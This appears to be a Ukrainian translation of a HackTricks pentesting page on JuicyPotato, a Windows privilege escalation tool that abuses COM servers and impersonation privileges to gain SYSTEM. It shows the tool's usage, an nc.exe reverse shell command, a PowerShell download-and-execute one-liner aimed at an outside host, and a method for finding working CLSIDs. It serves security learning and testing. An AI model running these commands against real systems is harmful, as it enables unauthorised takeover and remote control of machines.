JuicyPotato
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
[!WARNING] > JuicyPotato не працює на Windows Server 2019 та Windows 10 версії 1809 і новіших. Однак, PrintSpoofer, RoguePotato, SharpEfsPotato можуть бути використані для отримання тих же привілеїв і доступу на рівні
NT AUTHORITY\SYSTEM
. Перевірте:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (зловживання золотими привілеями)
Солодка версія RottenPotatoNG, з трохи соку, тобто інший інструмент підвищення локальних привілеїв, з облікових записів служб Windows до NT AUTHORITY\SYSTEM
Ви можете завантажити juicypotato з https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Резюме
RottenPotatoNG та його варіанти використовують ланцюг підвищення привілеїв на основі BITS
сервісу, що має MiTM слухача на 127.0.0.1:6666
, і коли у вас є привілеї SeImpersonate
або SeAssignPrimaryToken
. Під час огляду збірки Windows ми виявили налаштування, де BITS
був навмисно вимкнений, а порт 6666
був зайнятий.
Ми вирішили озброїти RottenPotatoNG: Скажіть привіт Juicy Potato.
Для теорії дивіться Rotten Potato - Підвищення привілеїв з облікових записів служб до SYSTEM і слідкуйте за ланцюгом посилань і посилань.
Ми виявили, що, крім BITS
, є кілька COM-серверів, які ми можемо зловживати. Вони просто повинні:
- бути інстанційованими поточним користувачем, зазвичай "службовим користувачем", який має привілеї імперсонації
- реалізовувати інтерфейс
IMarshal
- працювати як підвищений користувач (SYSTEM, Адміністратор, …)
Після деяких тестувань ми отримали та протестували розширений список цікавих CLSID на кількох версіях Windows.
Соковиті деталі
JuicyPotato дозволяє вам:
- Цільовий CLSID виберіть будь-який CLSID, який ви хочете. Тут ви можете знайти список, організований за ОС.
- COM порт прослуховування визначте COM порт прослуховування, який ви віддаєте перевагу (замість зашитого 6666)
- COM IP-адреса прослуховування прив'яжіть сервер до будь-якої IP-адреси
- Режим створення процесу в залежності від привілеїв імперсонованого користувача ви можете вибрати з:
CreateProcessWithToken
(потрібенSeImpersonate
)CreateProcessAsUser
(потрібенSeAssignPrimaryToken
)обидва
- Процес для запуску запустіть виконуваний файл або скрипт, якщо експлуатація успішна
- Аргумент процесу налаштуйте аргументи запущеного процесу
- Адреса RPC-сервера для прихованого підходу ви можете аутентифікуватися на зовнішньому RPC-сервері
- Порт RPC-сервера корисно, якщо ви хочете аутентифікуватися на зовнішньому сервері, а брандмауер блокує порт
135
… - РЕЖИМ ТЕСТУ в основному для тестування, тобто тестування CLSID. Він створює DCOM і виводить користувача токена. Дивіться тут для тестування
Використання
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Остаточні думки
Якщо у користувача є привілеї SeImpersonate
або SeAssignPrimaryToken
, то ви SYSTEM.
Майже неможливо запобігти зловживанню всіма цими COM-серверами. Ви можете подумати про зміну дозволів цих об'єктів через DCOMCNFG
, але удачі, це буде складно.
Фактичне рішення полягає в захисті чутливих облікових записів та програм, які працюють під обліковими записами * SERVICE
. Зупинка DCOM
безумовно завадить цій експлуатації, але може мати серйозний вплив на основну ОС.
З: http://ohpe.it/juicy-potato/
Приклади
Примітка: Відвідайте цю сторінку для списку CLSID, які можна спробувати.
Отримати зворотний шел nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Запустіть новий CMD (якщо у вас є доступ до RDP)
Проблеми з CLSID
Часто стандартний CLSID, який використовує JuicyPotato, не працює і експлойт зазнає невдачі. Зазвичай, потрібно кілька спроб, щоб знайти працюючий CLSID. Щоб отримати список CLSID для конкретної операційної системи, вам слід відвідати цю сторінку:
Перевірка CLSID
Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe.
Завантажте Join-Object.ps1 і завантажте його у вашу PS сесію, а також завантажте та виконайте GetCLSID.ps1. Цей скрипт створить список можливих CLSID для тестування.
Потім завантажте test_clsid.bat (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне пробувати кожен CLSID, і коли номер порту зміниться, це означатиме, що CLSID спрацював.
Перевірте працюючі CLSID за допомогою параметра -c
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.